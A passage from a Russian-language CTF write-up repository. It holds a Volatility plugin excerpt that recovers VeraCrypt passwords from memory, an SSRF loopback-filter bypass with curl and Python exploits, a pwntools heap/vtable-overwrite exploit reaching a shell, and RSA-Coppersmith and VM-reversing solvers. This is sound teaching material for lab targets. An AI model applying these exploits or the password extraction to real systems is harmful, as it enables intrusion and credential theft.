continue
|
||||
|
||||
offset = length.vol["offset"] + DWORD_SIZE_BYTES
|
||||
passphrase: objects.Bytes = self.context.object(
|
||||
pe_table_name + constants.BANG + "bytes",
|
||||
layer_name,
|
||||
offset,
|
||||
length=length,
|
||||
)
|
||||
|
||||
|
||||
if not all(0x20 <= c < 0x7F for c in passphrase):
|
||||
continue
|
||||
|
||||
buf: objects.Bytes = self.context.object(
|
||||
pe_table_name + constants.BANG + "bytes",
|
||||
layer_name,
|
||||
offset + length + 1,
|
||||
length=3,
|
||||
)
|
||||
if any(buf):
|
||||
continue
|
||||
|
||||
yield offset, passphrase.decode(encoding="ascii")
|
||||
|
||||
def _find_driver_bases(
|
||||
self, mods: Iterable[interfaces.objects.ObjectInterface]
|
||||
) -> List[int]:
|
||||
driver_substr = (self.config.get("driver") or "").lower().strip()
|
||||
|
||||
def matches(mod_name: str, needle: str) -> bool:
|
||||
return needle and needle in mod_name
|
||||
|
||||
def bases_for(needle: str) -> List[int]:
|
||||
out: List[int] = []
|
||||
for mod in mods:
|
||||
try:
|
||||
name = mod.BaseDllName.get_string().lower()
|
||||
except Exception:
|
||||
continue
|
||||
if matches(name, needle):
|
||||
out.append(int(mod.DllBase))
|
||||
return out
|
||||
|
||||
if driver_substr:
|
||||
bases = bases_for(driver_substr)
|
||||
if bases:
|
||||
return bases
|
||||
|
||||
for needle in ("veracrypt", "truecrypt"):
|
||||
bases = bases_for(needle)
|
||||
if bases:
|
||||
return bases
|
||||
|
||||
return []
|
||||
|
||||
def _generator(self):
|
||||
kernel = self.context.modules[self.config["kernel"]]
|
||||
mods: Iterable[interfaces.objects.ObjectInterface] = modules.Modules.list_modules(
|
||||
self.context, self.config["kernel"]
|
||||
)
|
||||
|
||||
driver_bases = self._find_driver_bases(mods)
|
||||
if not driver_bases:
|
||||
vollog.warning(
|
||||
"No VeraCrypt driver module found in the modules list. Unable to proceed."
|
||||
)
|
||||
return
|
||||
|
||||
seen = set()
|
||||
for module_base in driver_bases:
|
||||
try:
|
||||
for offset, password in self.scan_module(module_base, kernel.layer_name):
|
||||
key = (offset, password)
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
yield (0, (format_hints.Hex(offset), len(password), password))
|
||||
except Exception as exc:
|
||||
vollog.debug("Failed scanning module at 0x%x: %s", module_base, exc)
|
||||
|
||||
def run(self) -> renderers.TreeGrid:
|
||||
return renderers.TreeGrid(
|
||||
[
|
||||
("Offset", format_hints.Hex),
|
||||
("Length", int),
|
||||
("Password", str),
|
||||
],
|
||||
self._generator(),
|
||||
)
|
||||
|
||||
24
LockholdPortalGuard-Web/README.md
Normal file
@@ -0,0 +1,24 @@
|
||||
# Web 1.2 Страж Портала Локхолда
|
||||
|
||||
В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть.
|
||||
|
||||
## Решение
|
||||
|
||||
Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес.
|
||||
|
||||
Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`.
|
||||
|
||||
## Пример
|
||||
|
||||
Вариант через `curl`:
|
||||
```bash
|
||||
curl -s -X POST http://localhost:8000/seal \
|
||||
-F 'content=<h1>Королевский Указ</h1><iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>' \
|
||||
-F 'format=html' \
|
||||
-o scroll.pdf
|
||||
```
|
||||
|
||||
Также можно воспользоваться готовым скриптом `solve/exploit.py`:
|
||||
```bash
|
||||
python solve/exploit.py http://localhost:8000
|
||||
```
|
||||
27
LockholdPortalGuard-Web/exploit.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
def main():
|
||||
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
|
||||
payload = """
|
||||
<h1>Королевский Указ</h1>
|
||||
<p>Приложение: донесение из Локхолда</p>
|
||||
<iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>
|
||||
""".strip()
|
||||
|
||||
resp = requests.post(
|
||||
f"{base}/seal",
|
||||
data={"content": payload, "format": "html"},
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
|
||||
with open("scroll.pdf", "wb") as f:
|
||||
f.write(resp.content)
|
||||
|
||||
print("saved scroll.pdf")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
95
OxidePool-PWN/README.md
Normal file
@@ -0,0 +1,95 @@
|
||||
# OxidePool
|
||||
|
||||
НУ ооочень простой протокол обмена сообщениями....
|
||||
|
||||
## Протокол
|
||||
|
||||
Сетевой протокол little-endian, пакет имеет такой layout:
|
||||
`op:u8 flags:u8 seq:u16 len:u16 csum:u16` + `payload`
|
||||
|
||||
, где `csum` — сумма всех байтов payload по модулю `2^16`.
|
||||
|
||||
Команды:
|
||||
- `0x10 HELLO`, payload: empty.
|
||||
- Ответ: `nonce:u64` + `version:u32`.
|
||||
- `0x11 AUTH`, payload: `token:u64`, где `token = nonce ^ 0xC0DEC0DEC0DEC0DE`.
|
||||
- `0x20 ALLOC`, payload: `count:u16` (количество аллокаций в сессии).
|
||||
- `0x21 FREE`, payload: `idx:u16` (освобождение слота).
|
||||
- `0x22 SELECT`, payload: `idx:u16` (выбор активного слота).
|
||||
- `0x30 WRITE`, payload: `offset:u16`, `len:u16`, `data[len]`.
|
||||
- Работает если выставлен флаг `flags & 1`.
|
||||
- `0x31 TRIGGER`, payload: empty (запускает handler).
|
||||
- `0x40 LEAK`, payload: `stage:u8` (`0` или `1`).
|
||||
|
||||
## Идея эксплойта
|
||||
|
||||
Уязвимость в `Session` связана с неверной проверкой границ в `WRITE`:
|
||||
|
||||
- layout структуры:
|
||||
|
||||
```text
|
||||
[ buf: [u8; 0xFFF0] ][ handler: Box<dyn Handler> ][ guard: u64 ]
|
||||
```
|
||||
|
||||
- проверка границы идёт через `u16`:
|
||||
|
||||
```rust
|
||||
let end = offset.wrapping_add(data.len() as u16);
|
||||
if end <= BUF_SIZE as u16 {
|
||||
ptr::copy(data.as_ptr(), buf.add(offset as usize), data.len());
|
||||
}
|
||||
```
|
||||
|
||||
Из-за `wrapping_add` и `u16` `end` переполняется, и запись с `offset=0xFFF0`, `len=16` проходит проверку, хотя фактически выходит за `buf`.
|
||||
|
||||
Это даёт OOB overwrite в `handler` (fat pointer: data ptr + vtable ptr) и позволяет переписать `vtable` на адрес из утёкших данных после декодирования.
|
||||
|
||||
ASLR/PIE включены, поэтому нужен leak ключа шифрования для расшифровки указателей.
|
||||
|
||||
## Решение
|
||||
|
||||
1. Сделать `HELLO`
|
||||
- Отправить `0x10 HELLO`.
|
||||
- Получить `nonce`.
|
||||
|
||||
2. Аутентифицироваться
|
||||
- Отправить `0x11 AUTH` с токеном `nonce ^ 0xC0DEC0DEC0DEC0DE`.
|
||||
- Получить обычный ACK.
|
||||
|
||||
3. Построить/подготовить session (`heap grooming`)
|
||||
- `ALLOC` на 5 слотов (`count=5`).
|
||||
- `FREE` одного слота (`idx=1`).
|
||||
- `SELECT` слота с индексом 0 (`idx=0`).
|
||||
|
||||
4. Вытянуть замаскированные указатели через LEAK
|
||||
- `LEAK` с `stage=0` -> получаем `masked_data` и `masked_vtable`.
|
||||
- `LEAK` с `stage=1` -> получаем `key_hint`.
|
||||
|
||||
5. Вычислить XOR-ключ. Например, это можно сделать следующим образом:
|
||||
```python
|
||||
key = key_hint ^ (nonce + 0x9E3779B97F4A7C15)
|
||||
key = ror(key, 11)
|
||||
```
|
||||
Где `ror` — циклический сдвиг вправо на 11 бит в 64-битах.
|
||||
|
||||
6. Расшифровать реальные поля:
|
||||
```python
|
||||
data = masked_data ^ key
|
||||
vtable = masked_vtable ^ key
|
||||
```
|
||||
Тут `data` указывает на управляемый буфер, `vtable` — легитимный указатель на dispatch таблицу.
|
||||
|
||||
7. Записать OOB-переписыванием fat pointer
|
||||
- Сформировать payload:
|
||||
- `offset = 0xFFF0`
|
||||
- `len = 16`
|
||||
- `data = p64(data) + p64(vtable)`
|
||||
- Отправить `0x30 WRITE` с `flags=1`.
|
||||
|
||||
За счёт переполнения `end` запись уходит в область после буфера и перезаписывает указатель обработчика на контролируемые значения.
|
||||
|
||||
8. Вызвать обработчик
|
||||
- Отправить `0x31 TRIGGER`.
|
||||
- Должен отработать изменённый callback.
|
||||
|
||||
9. Получить доступ к shell.
|
||||
89
OxidePool-PWN/solve.py
Normal file
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
context.binary = None
|
||||
context.log_level = "info"
|
||||
|
||||
HOST = args.HOST or "127.0.0.1"
|
||||
PORT = int(args.PORT or 31337)
|
||||
|
||||
BUF_SIZE = 0xFFF0
|
||||
|
||||
|
||||
def checksum(data: bytes) -> int:
|
||||
return sum(data) & 0xFFFF
|
||||
|
||||
|
||||
def pack_pkt(op: int, seq: int, payload: bytes = b"", flags: int = 0) -> bytes:
|
||||
hdr = p8(op) + p8(flags) + p16(seq) + p16(len(payload)) + p16(checksum(payload))
|
||||
return hdr + payload
|
||||
|
||||
|
||||
def recv_reply(io):
|
||||
hdr = io.recvn(8)
|
||||
op = hdr[0]
|
||||
seq = u16(hdr[2:4])
|
||||
ln = u16(hdr[4:6])
|
||||
csum = u16(hdr[6:8])
|
||||
payload = io.recvn(ln)
|
||||
if checksum(payload) != csum:
|
||||
log.failure("bad checksum")
|
||||
return op, seq, payload
|
||||
|
||||
|
||||
def main():
|
||||
io = remote(HOST, PORT)
|
||||
seq = 1
|
||||
|
||||
io.send(pack_pkt(0x10, seq))
|
||||
_, _, payload = recv_reply(io)
|
||||
nonce = u64(payload[0:8])
|
||||
log.info(f"nonce=0x{nonce:x}")
|
||||
seq += 1
|
||||
|
||||
token = nonce ^ 0xC0DEC0DEC0DEC0DE
|
||||
io.send(pack_pkt(0x11, seq, p64(token)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x20, seq, p16(5)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x21, seq, p16(1)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x22, seq, p16(0)))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x40, seq, b"\x00"))
|
||||
_, _, payload = recv_reply(io)
|
||||
masked_data = u64(payload[0:8])
|
||||
masked_vtable = u64(payload[8:16])
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x40, seq, b"\x01"))
|
||||
_, _, payload = recv_reply(io)
|
||||
key_hint = u64(payload[0:8])
|
||||
seq += 1
|
||||
|
||||
key = (key_hint ^ (nonce + 0x9E3779B97F4A7C15))
|
||||
key = ((key >> 11) | (key << (64 - 11))) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
data = masked_data ^ key
|
||||
vtable = masked_vtable ^ key
|
||||
log.info(f"data=0x{data:x} vtable=0x{vtable:x}")
|
||||
|
||||
payload = p16(BUF_SIZE) + p16(16) + p64(data) + p64(vtable)
|
||||
io.send(pack_pkt(0x30, seq, payload, flags=1))
|
||||
recv_reply(io)
|
||||
seq += 1
|
||||
|
||||
io.send(pack_pkt(0x31, seq))
|
||||
io.interactive()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
3
README.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# Герои Кодекса
|
||||
|
||||
Райтапы для заданий с Героев Кодекса, проходивших 22.02.2026
|
||||
62
RSA-Crypto/README.md
Normal file
@@ -0,0 +1,62 @@
|
||||
# Crypto-RSA
|
||||
|
||||
Слухи в Таверне гласят: кто найдёт Грааль, тот получит бесконечный запас маны и золота.
|
||||
|
||||
Некромант Сандро путешествует по Эрафии в поисках Грааля. Координаты сокровища надёжно зашифрованы могущественным заклинанием RSA. Чтобы снять защиту, нужно знать точное расположение всех Обелисков, которые формируют секретный магический фокус. Сандро успел посетить 6 из 8 Обелисков. Теперь он знает старшие биты магической координаты, но правый нижний угол карты всё ещё скрыт "Туманом войны". Не сумев полностью открыть карту, некромант в ярости бросил зашифрованный свиток и обрывок карты с открытыми Обелисками.
|
||||
|
||||
Разведчики передали эти данные вам. Сможете ли вы рассеять Туман войны, полностью восстановить координату и забрать Грааль до того, как Сандро вернётся с армией скелетов?
|
||||
|
||||
`
|
||||
N = 10478327092484087119158811738002527881601133392230605359728636777609815579869678283867331428873702230467781035800930319302134425662634483320132982489385831425841142683276245240139807770094242769842712285436324254272792640567220605759816440095519657990655930770697233495280191856795686977028814794477226478424022094334917595550943153970859743416443075466307652568512202801367425261698533904718831085305741122872685782348491901469147144819542733684143982118060593950861934225209591938661726842353411448979388331957984491039941720316208753034352185033359022438790970437880769652134820269624136545195696512412902086547737
|
||||
`
|
||||
`
|
||||
e = 65537
|
||||
`
|
||||
`
|
||||
c = 2371908478747310630059898986871876272895367385836679471620653994043895929391935759268461102073140210469448513517093388784915155590867680910861238126882230573331605292181787234136901129322001225804993239553253815115175454153650336400717451897405778509283155936103207023688258230128247475695422393595702338795973073870189334970154365471517517328052432202583617568778188997290909337026276528139911107673782208700833801910261741350704957213863331988920136397794697512939924729956005535011011328130093021943779761037406840279182736278184729352019628495185205816545145747722511667416937357754661788964429902091376671458313
|
||||
`
|
||||
`
|
||||
p_revealed = 103537519170277717476703855704210234988984256477016725267975201195283786500355490562158033894185780133509016924890164868577876427195910662513213720292660530388165461591925825231155280679347647383014480743406031945282107222824466834575211761120068458069640414044465161781503967875409303695137308078472563785728
|
||||
`
|
||||
|
||||
|
||||
|
||||
## Идея атаки
|
||||
|
||||
Нам даны стандартные параметры RSA: $N$, $e$ и шифротекст $c$. Однако ключевая особенность кроется в значении `p_revealed`.
|
||||
|
||||
Разрядность $N$ - около 2048 бит (617 десятичных знаков). Нам дана часть одного из множителей ($p$). Если известна значительная часть бит одного из множителей (обычно более половины бит фактора), можно восстановить весь фактор методами поиска малых корней многочленов.
|
||||
|
||||
`f(x) = p_revealed + x (mod N)`.
|
||||
|
||||
Поскольку нам известны старшие биты $p$, мы имеем дело с задачей Partial Key Exposure. Согласно теореме Копперсмита, если мы знаем около $1/2$ бит фактора $p$ (для $p \approx \sqrt{N}$ это составляет $1/4$ бит от всего $N$), то можем найти недостающую часть за полиномиальное время.
|
||||
|
||||
### Математическая модель
|
||||
|
||||
Пусть $p = p_{revealed} + x$, где $x$ - неизвестная младшая часть (тот самый "Туман войны"). Ищем корень $x_0$ для полинома:
|
||||
|
||||
$$f(x) = p_{revealed} + x$$
|
||||
|
||||
по модулю некоторого неизвестного делителя $N$. В среде SageMath метод `small_roots()` позволяет находить такие корни, если выполняется условие $x < N^{0.25}$. В нашем случае $N \approx 2^{2048}$, следовательно, можно восстановить до 512 бит. У нас скрыто 448 бит, что идеально вписывается в границы применимости метода.
|
||||
|
||||
### Алгоритм действий в скрипте
|
||||
|
||||
Определяем кольцо многочленов над $\mathbb{Z}_N$. Задаём полином $f(x) = x + p_{revealed}$. Находим корень $x_0$ через LLL-редукцию (инкапсулировано в `small_roots`). Вычисляем $p = p_{revealed} + x_0$, находим $q = N / p$ и восстанавливаем секретную экспоненту $d$.
|
||||
|
||||
## Готовый solver
|
||||
|
||||
Готовый файл с скриптом решения: `solve.sage`. Он:
|
||||
- парсит `task.txt`;
|
||||
- запускает `small_roots` для `f(x)`;
|
||||
- восстанавливает `p`, `q`, `d`;
|
||||
- печатает флаг.
|
||||
|
||||
Запустить его можно следующим образом:
|
||||
```bash
|
||||
sage writeup/solve.sage public/task.txt
|
||||
```
|
||||
|
||||
Таким образом получим флаг:
|
||||
```
|
||||
caplag{N3cr0m4nc3rs_us3_Fr4nkl1n_R31t3r_4tt4ck}
|
||||
```
|
||||
63
RSA-Crypto/solve.sage
Normal file
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env sage
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import re
|
||||
import sys
|
||||
|
||||
|
||||
def parse_task(path):
|
||||
text = open(path, "r", encoding="utf-8").read()
|
||||
|
||||
def pick(name):
|
||||
m = re.search(rf"^{name}\s*=\s*([0-9]+)\s*$", text, re.MULTILINE)
|
||||
if not m:
|
||||
raise RuntimeError(f"cannot find {name} in {path}")
|
||||
return Integer(m.group(1))
|
||||
|
||||
N = pick("N")
|
||||
e = pick("e")
|
||||
c = pick("c")
|
||||
p_revealed = pick("p_revealed")
|
||||
return N, e, c, p_revealed
|
||||
|
||||
|
||||
def main():
|
||||
task_path = sys.argv[1] if len(sys.argv) > 1 else "public/task.txt"
|
||||
N, e, c, p_revealed = parse_task(task_path)
|
||||
|
||||
# From src/chal.py
|
||||
hidden_bits = 448
|
||||
X = 2 ** hidden_bits
|
||||
|
||||
print(f"[*] N bits: {N.nbits()}")
|
||||
print(f"[*] hidden bits: {hidden_bits}")
|
||||
print("[*] running Coppersmith small_roots...")
|
||||
|
||||
R = Zmod(N)
|
||||
P.<x> = PolynomialRing(R)
|
||||
f = x + p_revealed
|
||||
|
||||
roots = f.small_roots(X=X, beta=0.4)
|
||||
if not roots:
|
||||
raise RuntimeError("small_roots found no solution")
|
||||
|
||||
x0 = Integer(roots[0])
|
||||
p = Integer(p_revealed + x0)
|
||||
if N % p != 0:
|
||||
raise RuntimeError("candidate p does not divide N")
|
||||
|
||||
q = Integer(N // p)
|
||||
phi = (p - 1) * (q - 1)
|
||||
d = Integer(inverse_mod(e, phi))
|
||||
m = Integer(power_mod(c, d, N))
|
||||
m_int = int(m)
|
||||
flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big")
|
||||
|
||||
try:
|
||||
print(flag.decode("utf-8"))
|
||||
except Exception:
|
||||
print(flag)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
163
SuiGeneris-Reverse/README.md
Normal file
@@ -0,0 +1,163 @@
|
||||
# SuiGeneris
|
||||
|
||||
Это не x86. Это не ARM. Это нечто sui generis — единственное в своём роде.
|
||||
|
||||
## Разбор решения
|
||||
|
||||
В начале нам выдается `vm_runner` и `firmware.bin`
|
||||
|
||||
Попытаемся проверить что делает и для чего задействован бинарь:
|
||||
```bash
|
||||
file vm_runner
|
||||
strings -n 5 vm_runner | head -n 20
|
||||
./vm_runner
|
||||
./vm_runner firmware.bin
|
||||
```
|
||||
|
||||
Так получим, что, во-первых, это **ELF x86_64**. Также заметим, если не передать никаких аргументов, тогда бинарник напечатает: `usage: %s firmware.bin`. И, наконец, если в качестве аргумента воспользуемся файлов с прошивкой, тогда у нас попросит ввести флаг `Enter flag:` и затем получим ответ `Correct!` или `Wrong.`.
|
||||
|
||||
То есть задача сводится к тому, чтобы понять, как именно раннер валидирует ввод.
|
||||
|
||||
Изучим функцию загрузки прошивки. Для этого обратимся к строкам `bad firmware header` и `failed to load firmware`. Там обнаружим следующие факты:
|
||||
- сначала читаются 24 байта заголовка;
|
||||
- проверяются `magic` и `version`;
|
||||
- потом читаются `code_len` и `data_len` 32-битных слов.
|
||||
|
||||
Общий формат заголовка выглядит следующим образом:
|
||||
|
||||
| Поле | Тип | Назначение |
|
||||
| --- | --- | --- |
|
||||
| `magic` | `uint32_t` | Сигнатура прошивки |
|
||||
| `version` | `uint32_t` | Версия формата |
|
||||
| `code_len` | `uint32_t` | Длина code-секции (в словах) |
|
||||
| `data_len` | `uint32_t` | Длина data-секции (в словах) |
|
||||
| `flag_len` | `uint32_t` | Ожидаемая длина флага |
|
||||
| `target` | `uint32_t` | Целевой параметр проверки |
|
||||
|
||||
Выполним быструю проверку:
|
||||
```python
|
||||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
b = Path("firmware.bin").read_bytes()
|
||||
magic, version, code_len, data_len, flag_len, target = struct.unpack("<6I", b[:24])
|
||||
print(hex(magic), version, code_len, data_len, flag_len, hex(target))
|
||||
print("file_size", len(b))
|
||||
print("expected", 24 + 4 * code_len + 4 * data_len)
|
||||
```
|
||||
|
||||
В цикле исполнения декод инструкции такой:
|
||||
|
||||
| Поле | Формула извлечения | Биты |
|
||||
| --- | --- | --- |
|
||||
| `dst` | `insn & 0xFFF` | `0..11` |
|
||||
| `src` | `(insn >> 12) & 0xFFF` | `12..23` |
|
||||
| `guard` | `(insn >> 24) & 0xFF` | `24..31` |
|
||||
|
||||
То есть инструкция кодируется как:
|
||||
|
||||
```text
|
||||
MOVE: dst | (src << 12) | (guard << 24)
|
||||
```
|
||||
|
||||
Логику `guard` удобнее воспринимать как развилку:
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
B{guard == 0xFF?}
|
||||
B -- Да --> C[Выполнить команду]
|
||||
B -- Нет --> D{R_guard even}
|
||||
D -- Да --> E[Пропустить команду]
|
||||
D -- Нет --> C
|
||||
```
|
||||
> `guard = 0xFF` всегда запускает команду; иначе команда выполняется только при нечётном `R[guard]`.
|
||||
|
||||
Сформируем карту портов. Восстановим её из `read_src`/`write_dst`:
|
||||
|
||||
| Блок | Порты | Назначение |
|
||||
| --- | --- | --- |
|
||||
| Registers | `0x00..0x0F` | `R0..R15` |
|
||||
| ALU | `0x10`, `0x11`, `0x12` | `A`, `B/trigger`, `OUT` |
|
||||
| MUL | `0x20`, `0x21`, `0x22` | `A`, `B/trigger`, `OUT` |
|
||||
| ROT | `0x30`, `0x31`, `0x32` | `A`, `S/trigger`, `OUT` |
|
||||
| PRNG | `0x40`, `0x41`, `0x42` | `seed`, `step/trigger`, `OUT` |
|
||||
| HASH | `0x60`, `0x61`, `0x62` | `A`, `B/trigger`, `OUT` |
|
||||
| INPUT | `0x51` | Чтение байтов введенного флага |
|
||||
| CONST | `0x90` | Чтение 32-битных слов из `data[]` |
|
||||
| OUTPUT | `0x52` | Буфер выхода VM |
|
||||
|
||||
Теперь попытаемся определить, что делают блоки `ALU/MUL/ROT/HASH/PRNG`. Семантика из `write_dst`:
|
||||
```c
|
||||
alu(a,b) = a + b
|
||||
mul(a,b) = a + b
|
||||
rot(a,s) = rol(a, s)
|
||||
hash(a,b) = a + b + 0x9E3779B9
|
||||
prng(x,t) = xorshift32(x ^ t)
|
||||
```
|
||||
чтение `*_OUT` просто возвращает последнее значение. Никакой блокировки чтения по `ready` тут нет
|
||||
|
||||
После выполнения VM в `main` идет финальная проверка:
|
||||
|
||||
- считается `output_base = 3 + 3 * flag_len`;
|
||||
- проверяется, что длина `data[]` достаточна;
|
||||
- сравниваются `vm.output_buf` и хвост `data[]`;
|
||||
- дополнительно сравнивается `R15` с отдельным словом `target2`.
|
||||
|
||||
Из этого получается такой `layout`:
|
||||
|
||||
| Смещение в `data[]` | Содержимое |
|
||||
| --- | --- |
|
||||
| `0` | `seed` для `R14` |
|
||||
| `1` | `seed` для `R15` |
|
||||
| `2` | `seed` для `PRNG` |
|
||||
| `3..(3 + 3*flag_len - 1)` | Константы `c_mul`, `c_rot`, `c_tw` |
|
||||
| далее `flag_len` слов | `expected_output` |
|
||||
| последнее слово | `target2` (целевое значение `R15`) |
|
||||
|
||||
Если декодировать блок кода VM, он повторяется для каждого байта ввода.
|
||||
Псевдокод получается такой:
|
||||
|
||||
```text
|
||||
R14 = seed_r14
|
||||
R15 = seed_r15
|
||||
PRNG = seed_prng
|
||||
MUL_OUT = 0
|
||||
|
||||
for i in 0..n-1:
|
||||
byte = input[i]
|
||||
|
||||
stale_mul = MUL_OUT
|
||||
stale_prng = PRNG
|
||||
|
||||
MUL_OUT = byte + c_mul[i]
|
||||
rot = rol(R14, c_rot[i])
|
||||
alu = rot + stale_prng
|
||||
R14 = hash(stale_mul, alu)
|
||||
|
||||
PRNG = prng(PRNG, c_tw[i])
|
||||
R15 = hash(R15, byte)
|
||||
|
||||
OUTPUT[i] = R15
|
||||
```
|
||||
|
||||
В прошивке лежит полный массив `OUTPUT`, а это просто последовательные значения `R15`. Обновление регистра:
|
||||
|
||||
```text
|
||||
R15_next = R15_prev + byte + 0x9E3779B9
|
||||
```
|
||||
|
||||
Отсюда напрямую:
|
||||
|
||||
```text
|
||||
byte = R15_next - R15_prev - 0x9E3779B9
|
||||
```
|
||||
|
||||
Проходим по всем `OUTPUT[i]`, для каждого считаем `byte`, проверяем что это диапазон `0..255`, и получаем весь флаг.
|
||||
|
||||
### Автоматический solver
|
||||
|
||||
В репозитории также прикреплен файл с авторешением: `solver.py`. Запуск можно осуществить при помощи команды:
|
||||
|
||||
```bash
|
||||
python3 solve/solver.py firmware.bin
|
||||
```
|
||||
158
SuiGeneris-Reverse/solver.py
Normal file
@@ -0,0 +1,158 @@
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import struct
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
MAGIC_TTAB = 0x42415454 # 'TTAB'
|
||||
HDR_FMT = "<6I"
|
||||
|
||||
|
||||
def rol32(x: int, r: int) -> int:
|
||||
r &= 31
|
||||
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def prng_step(state: int, tweak: int) -> int:
|
||||
x = (state ^ tweak) & 0xFFFFFFFF
|
||||
x ^= (x << 13) & 0xFFFFFFFF
|
||||
x ^= (x >> 17) & 0xFFFFFFFF
|
||||
x ^= (x << 5) & 0xFFFFFFFF
|
||||
return x & 0xFFFFFFFF
|
||||
|
||||
|
||||
def alu_op_int(a: int, b: int) -> int:
|
||||
return (a + b) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def hash_op_int(a: int, b: int) -> int:
|
||||
return (a + b + 0x9E3779B9) & 0xFFFFFFFF
|
||||
|
||||
|
||||
def load_firmware(path: Path):
|
||||
blob = path.read_bytes()
|
||||
if len(blob) < struct.calcsize(HDR_FMT):
|
||||
raise ValueError("firmware too small")
|
||||
magic, version, code_len, data_len, flag_len, target = struct.unpack_from(HDR_FMT, blob, 0)
|
||||
if magic != MAGIC_TTAB or version != 1:
|
||||
raise ValueError("bad firmware header")
|
||||
|
||||
off = struct.calcsize(HDR_FMT)
|
||||
code_sz = code_len * 4
|
||||
data_sz = data_len * 4
|
||||
if len(blob) < off + code_sz + data_sz:
|
||||
raise ValueError("truncated firmware")
|
||||
|
||||
code = list(struct.unpack_from(f"<{code_len}I", blob, off))
|
||||
off += code_sz
|
||||
data = list(struct.unpack_from(f"<{data_len}I", blob, off))
|
||||
return {
|
||||
"code": code,
|
||||
"data": data,
|
||||
"flag_len": flag_len,
|
||||
"target": target,
|
||||
}
|
||||
|
||||
|
||||
def solve(
|
||||
fw,
|
||||
prefix: str | None,
|
||||
suffix: str | None,
|
||||
alphabet: str | None,
|
||||
no_format: bool,
|
||||
) -> bytes:
|
||||
data = fw["data"]
|
||||
flag_len = fw["flag_len"]
|
||||
target = fw["target"]
|
||||
if flag_len < 2 or len(data) < 4:
|
||||
raise ValueError("bad firmware constants")
|
||||
|
||||
seed_r14 = data[0]
|
||||
seed_r15 = data[1]
|
||||
seed_prng = data[2]
|
||||
|
||||
output_base = 3 + 3 * flag_len
|
||||
if len(data) < output_base + flag_len + 1:
|
||||
raise ValueError("bad firmware layout")
|
||||
|
||||
consts = data[3:output_base]
|
||||
c_mul = consts[0::3]
|
||||
c_rot = consts[1::3]
|
||||
c_tw = consts[2::3]
|
||||
|
||||
outputs = data[output_base:output_base + flag_len]
|
||||
target2 = data[output_base + flag_len]
|
||||
|
||||
recovered = []
|
||||
r15 = seed_r15
|
||||
for out in outputs:
|
||||
b = (out - r15 - 0x9E3779B9) & 0xFFFFFFFF
|
||||
if b > 0xFF:
|
||||
raise RuntimeError("invalid output stream: byte out of range")
|
||||
recovered.append(b)
|
||||
r15 = out
|
||||
|
||||
flag = bytes(recovered)
|
||||
|
||||
# format constraints
|
||||
if not no_format:
|
||||
if prefix is None or suffix is None or alphabet is None:
|
||||
raise ValueError("format constraints require prefix/suffix/alphabet")
|
||||
if not flag.startswith(prefix.encode("ascii")):
|
||||
raise RuntimeError("prefix mismatch")
|
||||
if not flag.endswith(suffix.encode("ascii")):
|
||||
raise RuntimeError("suffix mismatch")
|
||||
mid = flag[len(prefix): len(flag) - len(suffix)]
|
||||
alpha = set(alphabet.encode("ascii"))
|
||||
if any(ch not in alpha for ch in mid):
|
||||
raise RuntimeError("alphabet mismatch")
|
||||
|
||||
# verify accumulators match firmware targets
|
||||
prng = seed_prng
|
||||
r14 = seed_r14
|
||||
r15 = seed_r15
|
||||
mul_out = 0
|
||||
for i, ch in enumerate(flag):
|
||||
stale_mul = mul_out
|
||||
stale_prng = prng
|
||||
mul_out = (ch + c_mul[i]) & 0xFFFFFFFF
|
||||
rot = rol32(r14, c_rot[i])
|
||||
alu = alu_op_int(rot, stale_prng)
|
||||
r14 = hash_op_int(stale_mul, alu)
|
||||
prng = prng_step(prng, c_tw[i])
|
||||
r15 = hash_op_int(r15, ch)
|
||||
|
||||
if r14 != target or r15 != target2:
|
||||
raise RuntimeError("verification failed against firmware targets")
|
||||
|
||||
return flag
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description="Recover flag from firmware.bin.")
|
||||
ap.add_argument("firmware", nargs="?", default="public/firmware.bin")
|
||||
ap.add_argument("--prefix", default="caplag{", help="known flag prefix")
|
||||
ap.add_argument("--suffix", default="}", help="known flag suffix (1 char)")
|
||||
ap.add_argument("--alphabet", default="0123456789ABCDEF", help="alphabet for middle bytes")
|
||||
ap.add_argument("--no-format", action="store_true", help="disable prefix/suffix/alphabet constraints")
|
||||
